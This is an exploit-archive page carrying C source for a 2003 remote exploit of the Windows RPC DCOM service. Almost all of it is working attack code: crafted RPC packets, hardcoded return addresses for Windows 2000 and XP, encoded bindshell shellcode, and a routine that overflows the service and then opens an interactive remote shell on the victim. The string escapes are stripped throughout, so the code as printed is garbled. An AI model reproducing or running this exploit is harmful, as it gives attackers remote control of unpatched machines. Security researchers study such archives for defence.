[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : MS Windows (RPC DCOM) Remote Exploit (Universal Targets)
# Published : 2003-08-07
# Author : oc192
# Previous Title : Cisco IOS 12.x/11.x HTTP Remote Integer Overflow Exploit
# Next Title : wu-ftpd 2.6.2 off-by-one Remote Root Exploit
/* Windows remote RPC DCOM exploit
* Coded by oc192
*
* Includes 2 universal targets, 1 for win2k, and 1 for winXP. This exploit uses
* ExitThread in its shellcode to prevent the RPC service from crashing upon
* successful exploitation. It also has several other options including definable
* bindshell and attack ports.
*
* Features:
*
* -d destination host to attack.
*
* -p for port selection as exploit works on ports other than 135(139,445,539 etc)
*
* -r for using a custom return address.
*
* -t to select target type (Offset) , this includes universal offsets for -
* win2k and winXP (Regardless of service pack)
*
* -l to select bindshell port on remote machine (Default: 666)
*
* - Shellcode has been modified to call ExitThread, rather than ExitProcess, thus
* preventing crash of RPC service on remote machine.
*
* This is provided as proof-of-concept code only for educational
* purposes and testing by authorized individuals with permission to
* do so.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
/* xfocus start */
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
/* end xfocus */
int type=0;
struct
{
char *os;
u_long ret;
}
targets[] =
{
{ "[Win2k-Universal]", 0x0018759F },
{ "[WinXP-Universal]", 0x0100139d },
}, v;
void usage(char *prog)
{
int i;
printf("RPC DCOM exploit coded by .:[oc192.us]:. Securityn");
printf("Usage:nn");
printf("%s -d <host> [options]n", prog);
printf("Options:n");
printf(" -d: Hostname to attack [Required]n");
printf(" -t: Type [Default: 0]n");
printf(" -r: Return address [Default: Selected from target]n");
printf(" -p: Attack port [Default: 135]n");
printf(" -l: Bindshell port [Default: 666]nn");
printf("Types:n");
for(i = 0; i < sizeof(targets)/sizeof(v); i++)
printf(" %d [0x%.8x]: %sn", i, targets[i].ret, targets[i].os);
exit(0);
}
unsigned char sc[]=
"x46x00x58x00x4Ex00x42x00x46x00x58x00"
"x46x00x58x00x4Ex00x42x00x46x00x58x00x46x00x58x00"
"x46x00x58x00x46x00x58x00"
"xffxffxffxff" /* return address */
"xccxe0xfdx7f" /* primary thread data block */
"xccxe0xfdx7f" /* primary thread data block */
/* bindshell no RPC crash, defineable spawn port */
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
"x90x90x90x90x90x90x90xebx19x5ex31xc9x81xe9x89xff"
"xffxffx81x36x80xbfx32x94x81xeexfcxffxffxffxe2xf2"
"xebx05xe8xe2xffxffxffx03x53x06x1fx74x57x75x95x80"
"xbfxbbx92x7fx89x5ax1axcexb1xdex7cxe1xbex32x94x09"
"xf9x3ax6bxb6xd7x9fx4dx85x71xdaxc6x81xbfx32x1dxc6"
"xb3x5axf8xecxbfx32xfcxb3x8dx1cxf0xe8xc8x41xa6xdf"
"xebxcdxc2x88x36x74x90x7fx89x5axe6x7ex0cx24x7cxad"
"xbex32x94x09xf9x22x6bxb6xd7xddx5ax60xdfxdax8ax81"
"xbfx32x1dxc6xabxcdxe2x84xd7xf9x79x7cx84xdax9ax81"
"xbfx32x1dxc6xa7xcdxe2x84xd7xebx9dx75x12xdax6ax80"
"xbfx32x1dxc6xa3xcdxe2x84xd7x96x8exf0x78xdax7ax80"
"xbfx32x1dxc6x9fxcdxe2x84xd7x96x39xaex56xdax4ax80"
"xbfx32x1dxc6x9bxcdxe2x84xd7xd7xddx06xf6xdax5ax80"
"xbfx32x1dxc6x97xcdxe2x84xd7xd5xedx46xc6xdax2ax80"
"xbfx32x1dxc6x93x01x6bx01x53xa2x95x80xbfx66xfcx81"
"xbex32x94x7fxe9x2axc4xd0xefx62xd4xd0xffx62x6bxd6"
"xa3xb9x4cxd7xe8x5ax96x80xaex6ex1fx4cxd5x24xc5xd3"
"x40x64xb4xd7xecxcdxc2xa4xe8x63xc7x7fxe9x1ax1fx50"
"xd7x57xecxe5xbfx5axf7xedxdbx1cx1dxe6x8fxb1x78xd4"
"x32x0exb0xb3x7fx01x5dx03x7ex27x3fx62x42xf4xd0xa4"
"xafx76x6axc4x9bx0fx1dxd4x9bx7ax1dxd4x9bx7ex1dxd4"
"x9bx62x19xc4x9bx22xc0xd0xeex63xc5xeaxbex63xc5x7f"
"xc9x02xc5x7fxe9x22x1fx4cxd5xcdx6bxb1x40x64x98x0b"
"x77x65x6bxd6x93xcdxc2x94xeax64xf0x21x8fx32x94x80"
"x3axf2xecx8cx34x72x98x0bxcfx2ex39x0bxd7x3ax7fx89"
"x34x72xa0x0bx17x8ax94x80xbfxb9x51xdexe2xf0x90x80"
"xecx67xc2xd7x34x5exb0x98x34x77xa8x0bxebx37xecx83"
"x6axb9xdex98x34x68xb4x83x62xd1xa6xc9x34x06x1fx83"
"x4ax01x6bx7cx8cxf2x38xbax7bx46x93x41x70x3fx97x78"
"x54xc0xafxfcx9bx26xe1x61x34x68xb0x83x62x54x1fx8c"
"xf4xb9xcex9cxbcxefx1fx84x34x31x51x6bxbdx01x54x0b"
"x6ax6dxcaxddxe4xf0x90x80x2fxa2x04";
/* xfocus start */
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
/* end xfocus */
/* Not ripped from teso =) */
void con(int sockfd)
{
char rb[1500];
fd_set fdreadme;
int i;
FD_ZERO(&fdreadme);
FD_SET(sockfd, &fdreadme);
FD_SET(0, &fdreadme);
while(1)
{
FD_SET(sockfd, &fdreadme);
FD_SET(0, &fdreadme);
if(select(FD_SETSIZE, &fdreadme, NULL, NULL, NULL) < 0 ) break;
if(FD_ISSET(sockfd, &fdreadme))
{
if((i = recv(sockfd, rb, sizeof(rb), 0)) < 0)
{
printf("[-] Connection lost..n");
exit(1);
}
if(write(1, rb, i) < 0) break;
}
if(FD_ISSET(0, &fdreadme))
{
if((i = read(0, rb, sizeof(rb))) < 0)
{
printf("[-] Connection lost..n");
exit(1);
}
if (send(sockfd, rb, i, 0) < 0) break;
}
usleep(10000);
}
printf("[-] Connection closed by foreign host..n");
exit(0);
}
int main(int argc, char **argv)
{
int len, len1, sockfd, c, a;
unsigned long ret;
unsigned short port = 135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
unsigned short lportl=666; /* drg */
char lport[4] = "x00xFFxFFx8b"; /* drg */
struct hostent *he;
struct sockaddr_in their_addr;
static char *hostname=NULL;
if(argc<2)
{
usage(argv[0]);
}
while((c = getopt(argc, argv, "d:t:r:p:l:"))!= EOF)
{
switch (c)
{
case 'd':
hostname = optarg;
break;
case 't':
type = atoi(optarg);
if((type > 1) || (type < 0))
{
printf("[-] Select a valid target:n");
for(a = 0; a < sizeof(targets)/sizeof(v); a++)
printf(" %d [0x%.8x]: %sn", a, targets[a].ret, targets[a].os);
return 1;
}
break;
case 'r':
targets[type].ret = strtoul(optarg, NULL, 16);
break;
case 'p':
port = atoi(optarg);
if((port > 65535) || (port < 1))
{
printf("[-] Select a port between 1-65535n");
return 1;
}
break;
case 'l':
lportl = atoi(optarg);
if((port > 65535) || (port < 1))
{
printf("[-] Select a port between 1-65535n");
return 1;
}
break;
default:
usage(argv[0]);
return 1;
}
}
if(hostname==NULL)
{
printf("[-] Please enter a hostname with -dn");
exit(1);
}
printf("RPC DCOM remote exploit - .:[oc192.us]:. Securityn");
printf("[+] Resolving host..n");
if((he = gethostbyname(hostname)) == NULL)
{
printf("[-] gethostbyname: Couldnt resolve hostnamen");
exit(1);
}
printf("[+] Done.n");
printf("-- Target: %s:%s:%i, Bindshell:%i, RET=[0x%.8x]n",
targets[type].os, hostname, port, lportl, targets[type].ret);
/* drg */
lportl=htons(lportl);
memcpy(&lport[1], &lportl, 2);
*(long*)lport = *(long*)lport ^ 0x9432BF80;
memcpy(&sc[471],&lport,4);
memcpy(sc+36, (unsigned char *) &targets[type].ret, 4);
their_addr.sin_family = AF_INET;
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
their_addr.sin_port = htons(port);
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("[-] Socket failed");
return(0);
}
if(connect(sockfd,(struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
{
perror("[-] Connect failed");
return(0);
}
/* xfocus start */
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;
*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
/* end xfocus */
if (send(sockfd,bindstr,sizeof(bindstr),0)== -1)
{
perror("[-] Send failed");
return(0);
}
len=recv(sockfd, buf1, 1000, 0);
if (send(sockfd,buf2,len1,0)== -1)
{
perror("[-] Send failed");
return(0);
}
close(sockfd);
sleep(1);
their_addr.sin_family = AF_INET;
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
their_addr.sin_port = lportl;
if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("[-] Socket failed");
return(0);
}
if(connect(sockfd,(struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
{
printf("[-] Couldnt connect to bindshell, possible reasons:n");
printf(" 1: Host is firewalledn");
printf(" 2: Exploit failedn");
return(0);
}
printf("[+] Connected to bindshell..nn");
sleep(2);
printf("-- bling bling --nn");
con(sockfd);
return(0);
}
// www.Syue.com [2003-08-07]